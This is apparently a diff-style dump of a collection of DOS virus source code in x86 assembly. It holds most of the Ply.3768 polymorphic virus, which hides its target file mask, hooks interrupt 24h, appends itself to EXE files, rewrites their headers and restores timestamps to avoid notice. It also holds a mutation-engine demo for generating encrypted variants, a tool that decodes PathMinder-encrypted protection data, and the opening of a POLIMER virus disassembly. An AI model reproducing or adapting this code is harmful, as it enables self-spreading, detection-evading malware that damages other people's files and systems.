|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3524h ; Get interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
mov ax,es ; ES = segment of interrupt 24h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,2524h ; Get interrupt vector 24h
|
||||
lea dx,int24_virus ; DX = offset of int24_virus
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
mov ds,ax ; DS = segment of interrupt 24h
|
||||
nop
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
mov ax,2524h ; Set interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
mov dx,80h ; DX = offset of default disk tran...
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+0c0h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov ax,1111111111111110b
|
||||
and dx,ax ; DX = " "
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
|
||||
int24_virus proc near ; Interrupt 24h of Ply.3768
|
||||
mov al,03h ; Fail system call in progress
|
||||
nop
|
||||
|
||||
jmp int24_exit
|
||||
nop
|
||||
endp
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov cx,bx ; CX = " " " " " "
|
||||
nop
|
||||
add cx,10h ; CX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],cx ; Add segment of beginning of code...
|
||||
add cx,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
xor ax,ax ; Zero AX
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,cx ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
push ax ; Save AX at stack
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
int24_exit:
|
||||
iret ; Interrupt return!
|
||||
|
||||
db 00h,00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
|
@ -0,0 +1,94 @@
|
|||
|
||||
|
||||
; Phantasie Mutation Engine --- DEMO
|
||||
; This program will generate 50 mutation programs.
|
||||
; (C) Copyright 1995 Written by Burglar. All Rights Reserved.
|
||||
; Made In Taiwan.
|
||||
|
||||
|
||||
.MODEL TINY
|
||||
|
||||
.CODE
|
||||
|
||||
ORG 100H
|
||||
|
||||
EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to external module.
|
||||
|
||||
|
||||
BEGIN:
|
||||
MOV DX,OFFSET GEN_MSG
|
||||
MOV AH,9
|
||||
INT 21H
|
||||
|
||||
MOV CX,50
|
||||
GEN:
|
||||
PUSH CX
|
||||
|
||||
MOV DX,OFFSET FILENAME
|
||||
PUSH CS
|
||||
POP DS
|
||||
XOR CX,CX
|
||||
MOV AH,3CH
|
||||
INT 21H
|
||||
|
||||
PUSH AX
|
||||
|
||||
MOV DX,OFFSET PROG ;DS:DX point to the head of program which you
|
||||
;want to be mutation.
|
||||
MOV CX,OFFSET PROG_END - OFFSET PROG ;CX hold the length of the
|
||||
;program which you want to
|
||||
;be mutation.
|
||||
MOV BX,100H ;BX sets the beginning offset when execution.
|
||||
|
||||
PUSH SS
|
||||
POP AX
|
||||
ADD AX,1000H
|
||||
MOV ES,AX ;ES point to a work segment.
|
||||
;for putting decryption routine + encrypted code.
|
||||
;just need the length of origin program + 512 bytes.
|
||||
|
||||
CALL PME ;OK! when every thing is okay, you can call the PME.
|
||||
|
||||
;When PME execute over, it will return :
|
||||
;DS:DX -> decryption routine + encrypted code.
|
||||
;CX -> length of the decryption routine + encrypted
|
||||
;code. (always origin length + 512 bytes)
|
||||
|
||||
POP BX
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
MOV BX,OFFSET FILENAME
|
||||
INC BYTE PTR CS:BX+7
|
||||
CMP BYTE PTR CS:BX+7,'9'
|
||||
JBE L0
|
||||
MOV BYTE PTR CS:BX+7,'0'
|
||||
INC BYTE PTR CS:BX+6
|
||||
L0:
|
||||
POP CX
|
||||
LOOP GEN
|
||||
|
||||
INT 20H
|
||||
|
||||
FILENAME DB '00000000.COM',0
|
||||
|
||||
GEN_MSG DB 'Generating 50 mutation programs... $'
|
||||
|
||||
PROG:
|
||||
CALL $+3
|
||||
POP DX
|
||||
ADD DX,OFFSET MSG - OFFSET PROG - 3
|
||||
MOV AH,9
|
||||
INT 21H
|
||||
INT 20H
|
||||
MSG DB 'I am a mutation program.$'
|
||||
PROG_END:
|
||||
|
||||
|
||||
END BEGIN
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,227 @@
|
|||
START SEGMENT
|
||||
ASSUME CS:START,DS:START
|
||||
MOV BX,80H
|
||||
MOV CH,0
|
||||
MOV CL,[BX]
|
||||
DEC CX
|
||||
MOV SI,OFFSET KODOK+100H
|
||||
CALL BET
|
||||
JZ KILEP
|
||||
MOV SI,OFFSET FILEN+100H
|
||||
CALL BET
|
||||
JZ KILEP
|
||||
MOV SI,OFFSET FILECO+100H
|
||||
CALL BET
|
||||
JMP FOLYT
|
||||
KILEP: INT 20H
|
||||
FOLYT: MOV SI,OFFSET KODOK+100H
|
||||
MOV BX,OFFSET KODTB+100H
|
||||
CIKL1: MOV AL,[SI]
|
||||
OR AL,AL
|
||||
JZ FOLYT5
|
||||
OR AL,20H
|
||||
FOLYT5: CMP AL,[BX]
|
||||
JZ FOLYTC
|
||||
JMP KODER
|
||||
FOLYTC: CMP AL,0
|
||||
JZ FOLYT4
|
||||
INC BX
|
||||
INC SI
|
||||
JMP CIKL1
|
||||
FOLYT4: MOV AL,0
|
||||
MOV AH,3DH
|
||||
MOV DX,OFFSET FILECO+100H
|
||||
INT 21H
|
||||
JNC FOLYTD
|
||||
JMP FILER
|
||||
FOLYTD: PUSH AX
|
||||
MOV BX,AX
|
||||
MOV AH,3FH
|
||||
MOV CX,100H
|
||||
MOV DX,OFFSET IPUFF+100H
|
||||
INT 21H
|
||||
POP BX
|
||||
JNC FOLYTE
|
||||
JMP FILER
|
||||
FOLYTE: MOV AH,3EH
|
||||
INT 21H
|
||||
JNC FOLYTF
|
||||
JMP FILER
|
||||
FOLYTF: MOV BX,OFFSET IPUFF+100H
|
||||
MOV SI,OFFSET PMNAM+100H
|
||||
CIKL2: MOV AL,[SI]
|
||||
OR AL,AL
|
||||
JZ FOLYT7
|
||||
CMP AL,[BX]
|
||||
JZ PMOK
|
||||
JMP PMER
|
||||
PMOK: INC BX
|
||||
INC SI
|
||||
JMP CIKL2
|
||||
FOLYT7: MOV DI,OFFSET FILMO+100H
|
||||
MOV DL,2
|
||||
CIKL4: MOV SI,OFFSET FILEN+100H
|
||||
MOV CX,13
|
||||
REP MOVSB
|
||||
DEC DL
|
||||
JNZ CIKL4
|
||||
FOLYTA: MOV BX,7
|
||||
MOV CX,26
|
||||
MOV AL,03FH
|
||||
MOV AH,9
|
||||
INT 10H
|
||||
MOV BX,OFFSET IPUFF+157H
|
||||
MOV CX,26
|
||||
MOV SI,OFFSET FILMO+100H
|
||||
MOV DI,OFFSET OPUFF+100H
|
||||
MOV BYTE PTR [IRANY+100H],1
|
||||
CIKL6: PUSH CX
|
||||
MOV CL,0
|
||||
CIKL5: MOV AL,[SI]
|
||||
XOR AL,CL
|
||||
ROR AL,CL
|
||||
CMP AL,[BX]
|
||||
JZ FOLYTB
|
||||
CIKL9: ADD CL,BYTE PTR [IRANY+100H]
|
||||
JNZ CIKL5
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH AX
|
||||
MOV AX,0E07H
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV AX,0E3FH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
POP AX
|
||||
POP CX
|
||||
POP BX
|
||||
JMP TASZT
|
||||
FOLYTB: MOV [DI],CL
|
||||
CMP CL,128
|
||||
JC FOLYTG
|
||||
JMP CIKL9
|
||||
FOLYTG: CMP CL,20H
|
||||
JC CIKL9
|
||||
TASZT1: PUSH CX
|
||||
PUSH BX
|
||||
PUSH AX
|
||||
MOV BX,0
|
||||
MOV AL,CL
|
||||
MOV AH,0EH
|
||||
MOV CX,1
|
||||
INT 10H
|
||||
POP AX
|
||||
POP BX
|
||||
POP CX
|
||||
TASZT: MOV AH,0
|
||||
INT 16H
|
||||
CMP AH,4BH
|
||||
JZ BAL
|
||||
CMP AH,4DH
|
||||
JZ JOBB
|
||||
CMP AH,48H
|
||||
JZ FEL
|
||||
CMP AH,50H
|
||||
JZ LE1
|
||||
CMP AH,1CH
|
||||
JZ ESC1
|
||||
JMP TASZT
|
||||
LE1: CALL BALRA
|
||||
MOV BYTE PTR [IRANY+100H],0FFH
|
||||
JMP CIKL9
|
||||
BALRA: PUSH BX
|
||||
PUSH CX
|
||||
PUSH AX
|
||||
MOV AX,0E08H
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
POP AX
|
||||
POP CX
|
||||
POP BX
|
||||
RET
|
||||
FEL: CALL BALRA
|
||||
MOV BYTE PTR [IRANY+100H],01H
|
||||
JMP CIKL9
|
||||
BAL: CALL BALRA
|
||||
CMP BX,OFFSET IPUFF+157H
|
||||
JNC BAL1
|
||||
JMP CIKL9
|
||||
BAL1: CALL BALRA
|
||||
DEC BX
|
||||
DEC SI
|
||||
DEC DI
|
||||
POP CX
|
||||
INC CX
|
||||
JMP CIKL6
|
||||
JOBB: CMP BX,OFFSET IPUFF+157H+25
|
||||
JC JOBB1
|
||||
CALL BALRA
|
||||
JMP CIKL9
|
||||
JOBB1: INC BX
|
||||
INC SI
|
||||
INC DI
|
||||
POP CX
|
||||
DEC CX
|
||||
JMP CIKL6
|
||||
ESC1: POP CX
|
||||
MOV AX,0E0DH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV AX,0E0AH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
MOV BYTE PTR [OPUFF+100H+28],0
|
||||
KILEP1: MOV SI,OFFSET OPUFF+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
IRANY: DB 1
|
||||
PMER: MOV SI,OFFSET PERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
KODER: MOV SI,OFFSET KDERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
FILER: MOV SI,OFFSET FERR+100H
|
||||
CALL KIIR
|
||||
JMP KILEP
|
||||
KIIR: MOV AL,[SI]
|
||||
CMP AL,0
|
||||
JNZ FOLYT6
|
||||
RET
|
||||
FOLYT6: MOV AH,0EH
|
||||
MOV BX,0
|
||||
INT 10H
|
||||
INC SI
|
||||
JMP KIIR
|
||||
BET: MOV AL,[BX+2]
|
||||
CMP AL,20H
|
||||
JNZ FOLYT2
|
||||
MOV BYTE PTR [SI],0
|
||||
INC BX
|
||||
INC SI
|
||||
LOOP FOLYT3
|
||||
XOR AL,AL
|
||||
FOLYT3: RET
|
||||
FOLYT2: MOV [SI],AL
|
||||
INC SI
|
||||
INC BX
|
||||
LOOP BET
|
||||
MOV BYTE PTR [SI],0
|
||||
XOR AL,AL
|
||||
RET
|
||||
PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0
|
||||
FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0
|
||||
PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0
|
||||
KRERR: DB 'KERESESI HIBA',0DH,0AH,0
|
||||
KDERR: DB 'KODOLASI HIBA',0DH,0AH,0
|
||||
FILEN: DB 64 DUP (0)
|
||||
FILECO: DB 64 DUP (0)
|
||||
KODOK: DB 64 DUP (0)
|
||||
KODTB: DB 'feri&bozo',0
|
||||
IPUFF: DB 256 DUP (0)
|
||||
FILMO: DB 30 DUP (0)
|
||||
OPUFF: DB 32*64 DUP (0)
|
||||
START ENDS
|
||||
END
|
||||
|
|
@ -0,0 +1,274 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ POLIMER VIRUS ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Disassembly by >> Wasp << a.k.a. Night Crawler. ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 5-Jan-92 ÛÛ
|
||||
;ÛÛ Version: 1.0d ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: OW ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Reassemble with MASM 5.01 ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
|
||||
ifidn <reg16>, <bx>
|
||||
db 0BBh
|
||||
endif
|
||||
ifidn <reg16>, <cx>
|
||||
db 0B9h
|
||||
endif
|
||||
ifidn <reg16>, <dx>
|
||||
db 0BAh
|
||||
endif
|
||||
ifidn <reg16>, <si>
|
||||
db 0BEh
|
||||
endif
|
||||
ifidn <reg16>, <di>
|
||||
db 0BFh
|
||||
endif
|
||||
ifidn <reg16>, <bp>
|
||||
db 0BDh
|
||||
endif
|
||||
ifidn <reg16>, <sp>
|
||||
db 0BCh
|
||||
endif
|
||||
ifidn <reg16>, <BX>
|
||||
db 0BBH
|
||||
endif
|
||||
ifidn <reg16>, <CX>
|
||||
db 0B9H
|
||||
endif
|
||||
ifidn <reg16>, <DX>
|
||||
db 0BAH
|
||||
endif
|
||||
ifidn <reg16>, <SI>
|
||||
db 0BEH
|
||||
endif
|
||||
ifidn <reg16>, <DI>
|
||||
db 0BFH
|
||||
endif
|
||||
ifidn <reg16>, <BP>
|
||||
db 0BDH
|
||||
endif
|
||||
ifidn <reg16>, <SP>
|
||||
db 0BCH
|
||||
endif
|
||||
dw seg Imm16
|
||||
endm
|
||||
DATA_1E EQU 80H
|
||||
DATA_2E EQU 162H
|
||||
DATA_3E EQU 16AH
|
||||
DATA_4E EQU 0C0H
|
||||
DATA_5E EQU 103H
|
||||
DATA_6E EQU 128H
|
||||
DATA_7E EQU 2B9H
|
||||
DATA_8E EQU 0C0H
|
||||
DATA_9E EQU 0C1H
|
||||
DATA_10E EQU 0C8H
|
||||
DATA_12E EQU 0CAH
|
||||
DATA_14E EQU 0CCH
|
||||
DATA_23E EQU 0
|
||||
DATA_24E EQU 100H
|
||||
DATA_25E EQU 200H
|
||||
|
||||
SEG_A SEGMENT BYTE PUBLIC
|
||||
ASSUME CS:SEG_A, DS:SEG_A
|
||||
|
||||
|
||||
ORG 100h
|
||||
|
||||
POLIMER PROC FAR
|
||||
|
||||
START:
|
||||
JMP LOC_4 ; (0183)
|
||||
DB 00H, 3FH
|
||||
DB 7 DUP (3FH)
|
||||
DB 43H, 4FH, 4DH, 00H, 1AH, 00H
|
||||
DB 00H, 00H, 2EH,0F2H, 0CH, 2BH
|
||||
DB 01H
|
||||
DB 15 DUP (0)
|
||||
DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI'
|
||||
